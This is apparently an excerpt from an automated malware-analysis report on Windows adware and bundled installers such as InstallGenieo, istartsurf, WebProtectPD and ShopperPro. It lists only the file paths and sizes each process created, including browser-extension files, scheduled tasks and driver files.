C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[2].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QTS41CAD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QQ7BU33H.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe (38906 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe (12251 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\40AV6PLO.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.3 (4152 bytes)

The process GLJF1D.tmp:3840 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process Tfjrhcyiqi.exe:3960 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\ukrfuo.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\jpyvnw.dll (8 bytes)
C:\Windows\Tasks\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5_user.job (74 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\10492 (88237 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp (4 bytes)
C:\Windows\Tasks\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\17314 (3141 bytes)
%Program Files% (x86)\SensePlus\utils.exe (69293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.dll (45656 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\lvvegaxuu.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\dvfshap.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\tsouxst.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\vhkocnqdt.dll (14 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5.exe (7547 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe (8020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7474.tmp (606462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\uqkcauak.dll (30116 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)

The process WebProtectPD.exe:4152 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB28D.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB3C6.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB28D.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[2].gif (34 bytes)

The process WebProtectPD.exe:2500 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDA77.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyDB72.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDA77.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[1].gif (34 bytes)

The process ins_yta.exe:3824 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBECE.tmp (144 bytes)

The process QQBrowser.exe:2888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\XTab_Setup2121.exe (148 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\474.db (212 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\wpm_v20.0.0.1953_0302.exe (988 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\ChromeSync.exe (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)

The process QQBrowser.exe:4332 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E55.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E34.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (388 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E44.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\defaults\preferences\preferences.js (379 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E23.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\vi\locale.properties (2 bytes)

The process testlsp.exe:4188 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4188_testlsp.log (125608 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_4188_testlsp.log (1453 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_4188_testlsp.log (151 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_4188.log (1362 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)

The process setup.exe:3452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6E.tmp (359949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\MoreInfo.dll (15 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
